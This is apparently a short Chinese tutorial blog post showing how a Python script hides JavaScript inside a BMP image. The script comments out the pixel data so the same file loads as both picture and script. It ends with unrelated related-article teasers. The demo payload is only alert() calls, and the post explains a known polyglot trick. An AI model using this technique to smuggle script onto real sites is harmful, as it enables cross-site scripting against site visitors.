Python图片攻击
BMP图片使用十六进制文本编辑器打开,前面两个字母是BM,代表的是图片格式,基本上浏览器就是以这个来识别BMP图片,我们把这个后面的数据(图片二进制数据)全部注释,在其后面追加我们的攻击脚本即可
# -*- coding: cp936 -*-
img='1.bmp'
pfile=open(img,"rb")
buff=pfile.read()
#替换掉/*符号
buff=buff.replace(b'\x2F\x2A',b'\x00\x00')
pfile.close()#在第三个位置插入/*
pfile=open(img,"wb")
pfile.write(buff)
pfile.seek(2,0)
pfile.write(b'\x2F\x2A')
pfile.close()#图片数据的最后追加 */=1;
#这样就把图片的数据注释了,剩下的后面就是js的脚本
pfile=open(img,"ab")
pfile.write(b'\xFF\x2A\x2F\x3D\x31\x3B')
pfile.write(open('t.js','rb').read())
pfile.close()
print('写入成功')
js脚本,t.js
alert('Tony');
alert('BM='+BM)
我们在浏览器里面解析看下,就可以看到两个弹出框和一张图
<img src='1.bmp' />
<script src='1.bmp'></script>
Python图片攻击相关推荐
- python电脑攻击_python写的ARP攻击代码实例 -电脑资料
注:使用这个脚本需要安装scapy 包 最好在linux平台下使用,因为scapy包在windows上安装老是会有各种问题 复制代码代码如下: #coding:utf-8 #example :sudo ...
- chatgpt赋能python:Python图片加密:加强图片保密性的利器
Python图片加密:加强图片保密性的利器 随着互联网的蓬勃发展,绝大部分的信息都通过数字化形式传输.数字图像作为一种广泛应用的媒介,今天已经进入了各种各样的场景中,但是其保密性却受到越来越多的挑战. ...
- python 图片 文本 矫正
python 图片 文本 矫正 代码 # -*- coding: UTF-8 -*- import numpy as np import cv2 import os ## 图片旋转 def rotat ...
- python图片识别-Python+Opencv识别两张相似图片
在网上看到python做图像识别的相关文章后,真心感觉python的功能实在太强大,因此将这些文章总结一下,建立一下自己的知识体系. 当然了,图像识别这个话题作为计算机科学的一个分支,不可能就在本文简 ...
- python图片-利用python进行识别相似图片(一)
文章简介 在网上看到python做图像识别的相关文章后,真心感觉python的功能实在太强大,因此将这些文章总结一下,建立一下自己的知识体系. 当然了,图像识别这个话题作为计算机科学的一个分支,不可能 ...
- python图片通道分离
python图片通道分离 文章目录: 一.通道分离的方法 1.opencv的split()函数 2.使用Numpy 数组分离图像通道 二.通道合并的方法 1.opencv自带的merge() 函数 2 ...
- python图片转字符画
学习了下python图片转字符画,学习连接:Python 图片转字符画,觉得还挺有趣,不过图片的颜色和细节不能太多,不然效果比较差,代码如下: from PIL import Image import ...
- python图片转文字_【收藏】图片转成文字的方法总结,python批量图片转文字信息参考源码...
在日常办公或者学习中,往往存在这样一个工作场景,比如,"老王,我这里有一张图片,你把里面的文字信息给我整理出来",都2021年了,你真的还在手敲图片文字信息么?那么还不赶紧收藏这篇 ...
- python 图片转字符画
python 图片转字符画 项目介绍 本实验用 50 行 Python 代码完成图片转字符画小工具.通过本实验将学习到 Linux 命令行操作,Python 基础,pillow 库的使用,argpar ...
最新文章
- 《CCNA安全640-554认证考试指南》——6.4节复习所有考试要点
- php 接口数组排序,php 数组排序
- ServerBootstrap的启动流程
- 不使用物理引擎实现防止群聚行为敌人扎堆
- vue-element-admin中 vuex 的使用
- leetcode1721. 交换链表中的节点
- Tensorflow图像编码处理
- Scrum实践:每日站会
- 【时间序列预测】基于matlab RBF神经网络时间序列预测【含Matlab源码 1336期】
- Axure8.1破解码 注册码 授权码
- matlab传递闭包算法,传递闭包(用关系矩阵求传递闭包怎么求)
- erdas几何校正_ERDAS遥感图像的几何校正.docx
- 六一小学生计算机创新活动总结,2020小学生六一儿童节活动总结
- firefox flash问题
- 【2020东京奥运会】 数据分析及可视化
- e admin admin.php,EAdmin极简社区源码
- Docker服务条款:禁止名单内的个人团体使用,自2020年8月13日起生效
- sip是什么?Mac电脑如何关闭sip?关闭系统完整性保护SIP的方法教程
- ME51N 创建采购申请
- greenplum列存